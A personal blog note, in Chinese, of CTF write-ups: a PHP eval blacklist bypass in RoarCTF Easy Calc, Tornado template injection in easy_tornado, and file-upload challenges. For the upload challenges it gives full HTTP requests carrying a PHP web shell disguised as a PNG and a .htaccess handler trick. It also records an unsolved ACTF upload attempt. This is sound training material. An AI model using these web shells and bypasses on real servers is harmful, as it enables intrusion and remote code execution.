note-31

[RoarCTF 2019]Easy Calc

进去后是个页面,输入计算式,计算结果,没见过类似的题目啊,f12,发现有个calu.php,访问得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0); //关闭错误报告
if(!isset($_GET['num'])){
show_source(__FILE__); //如果num未被设置则显示源码
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

然后看别人的wp做
https://blog.csdn.net/vanarrow/article/details/107976892
https://www.cnblogs.com/echoDetected/p/13091486.html

当传入:

1
2
3
4
5
6
7
8
9
10
 num
//就能绕过正则匹配?
//此时的"nmu"不等于" num",绕过了:

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");

//但是在eval里解析的时候会把空格移除,这样就能实现绕过

在本地试了一下,确实是这样:

1
2
3
4
5
6
7
<?php
eval('echo'. phpinfo().';');
?>

<?php
eval('echo'.' phpinfo()'.';');
?>

接下来总结别人的wp:
1.用” num”来绕过正则匹配;
2.var_dump函数来输出回显,用file_get_contents()来加载flag文件chr()函数来绕过非法字符;

1
2
3
4
5
6
s=''
s=s+input("enter you str,then i will give you them ascii:\n")
o=0
for i in s:
o=ord(i)
print(o)

然后到做题:
查看根目录:

1
2
3
4
/calc.php? num=var_dump(scandir(chr(47)))

回显:
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

读取flag:

1
2
3
http://node5.buuoj.cn:28453/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

string(43) "flag{89404a0c-0948-4a18-9f87-40f1050cc23f} "

notice:

scandir( )
这是一个在C语言中用于扫描目录内容的函数,它允许开发者检索目录中的文件和子目录信息。这个函数在Linux系统编程中非常有用,尤其是当你需要处理文件系统或者进行目录操作时。

var_dump( ):
这是PHP的一个内置函数,用于输出变量的详细信息,包括类型和值。

file_get_contents( ):
这是PHP的一个内置函数,用于读取文件内容并返回为字符串。

chr( ):
这是PHP的一个内置函数,用于将ASCII码值转换为对应的字符。

[护网杯 2018]easy_tornado

模板注入题
没接触过,想直接去看wp了
https://blog.csdn.net/m0_73734159/article/details/134360691
很详细,

记一回tornado模板注入,虽然没做过两道模板注入的题

点开flag看到:

1
2
3
4
/flag.txt
flag in /fllllllllllllag

url:/file?filename=/flag.txt&filehash=02521e013bf12f2ed07267cbbb4476da

修改filehash:
/error?msg=Error
验证完后确定使用tornado模板注入(wp)

查看hint得到计算公式 md5(cookie_secret+md5(filename))
知道要拿到cookie_secret,
用handler.sttings查看环境变量

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '42b45411-b944-4058-a294-92333eecacef'}

计算hash值
md5(/fllllllllllllag)=3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret=42b45411-b944-4058-a294-92333eecacef
md5(md5(/fllllllllllllag)+cookie_secret)=baf2694028f23612a3c77cb63b9b9dd8

最后payload:
/file?filename=/fllllllllllllag&filehash=baf2694028f23612a3c77cb63b9b9dd8

[MRCTF2020]你传你🐎呢

这题的note写过了,本替换搞没了,这次就独立做过当温习吧
开局艾克和孙笑川,jpeg直接传也传不了,文件有1m限制,
题目一直不提示改上传什么类型的文件有点难受,
最后试出来mmie传 image/png 就行
直接传了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /upload.php HTTP/1.1
Host: 4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81
Content-Length: 411
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPX5AuupbBQqkGiE6
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=40c31c5302fc21595b5a1fb9e36ac7ff
Connection: keep-alive

------WebKitFormBoundaryPX5AuupbBQqkGiE6
Content-Disposition: form-data; name="uploaded"; filename="php.png"
Content-Type: image/png

<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundaryPX5AuupbBQqkGiE6
Content-Disposition: form-data; name="submit"

一键去世
------WebKitFormBoundaryPX5AuupbBQqkGiE6--


Warning: mkdir(): File exists in /var/www/html/upload.php on line 23
/var/www/html/upload/c27817d096552162de80b210a4855ce1/php.png succesfully uploaded!

直接蚁剑访问访问不了,应该就是目录不会进行php解析的原因
利用.htaccess,上传.htaccess文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /upload.php HTTP/1.1
Host: 4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81
Content-Length: 340
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvBTzoKhzTjekoPjH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=40c31c5302fc21595b5a1fb9e36ac7ff
Connection: keep-alive

------WebKitFormBoundaryvBTzoKhzTjekoPjH
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/png

SetHandler application/x-httpd-php
------WebKitFormBoundaryvBTzoKhzTjekoPjH
Content-Disposition: form-data; name="submit"

一键去世
------WebKitFormBoundaryvBTzoKhzTjekoPjH--

Warning: mkdir(): File exists in /var/www/html/upload.php on line 23
/var/www/html/upload/c27817d096552162de80b210a4855ce1/.htaccess succesfully uploaded!

蚁剑访问
http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/upload/c27817d096552162de80b210a4855ce1/php.png
成功

.htaccess

漏洞详情:
https://blog.csdn.net/weixin_44032232/article/details/108998564

ACTF upload(未解出)

又跑去actf坐牢了😭,做不出来也把进度放这

先要注册用户来登录,试了admin账户,服务器不给

传正常图片
http://223.112.5.141:63478/upload?file_path=9db39573-994f-464f-b1fe-97c1e9897fb9_test.jpeg
访问正常回显图片

传马:
http://223.112.5.141:63478/upload?file_path=5ce41be5-7154-493f-b21b-84dd6a200111_php.php
不回显代码,回显:

1
<img src="data:image/png;base64,PHNjcmlwdCBsYW5ndWFnZT0ncGhwJz5ldmFsKCRfR0VUWyJ6Il0pOzwvc2NyaXB0Pg==" alt="Uploaded Image">

是base64编码后的马
试一下直接上传base64:

1
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

不行

看一下d导的分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
关键分析
服务器处理逻辑:

上传的内容被包裹在 <img src="data:image/png;base64,..."> 中,说明服务器将文件内容强制转换为 Base64 图片。

但返回的 Base64 数据 (PHNjcmlwdCBsYW5ndWFnZT0ncGhwJz5ldmFsKCRfR0VUWyJ6Il0pOzwvc2NyaXB0Pg==) 解码后正是你上传的原始代码:

php
<script language='php'>eval($_GET["z"]);</script>
这意味着服务器可能同时做了两件事:

将文件内容保存到磁盘(如 uploads/shell.php)。

生成一个包含该内容的 Base64 图片用于前端展示。

潜在漏洞点:

如果服务器保存了原始文件(如 .php),且文件名可控,可直接访问该文件执行代码。

如果服务器仅返回 Base64 图片但未保存原始文件,需另寻他法。

试一下对upload文件

1
http://223.112.5.141:63478/upload?file_path=flag.txthttp://223.112.5.141:63478/upload?file_path=flag.txt

对upload试了一下目录穿越,不行,

伪协议
encode,无法读取文件,
decode,无法读取文件

注意到无论上传什么文件服务器默认当作imag/png文件处理

http://223.112.5.141:53908/upload?file_path=http://127.0.0.1/flag.txt
不行
放弃了,等wp


note-31
https://aidemofashi.github.io/2025/04/27/note-31/
作者
aidemofashi
发布于
2025年4月27日
许可协议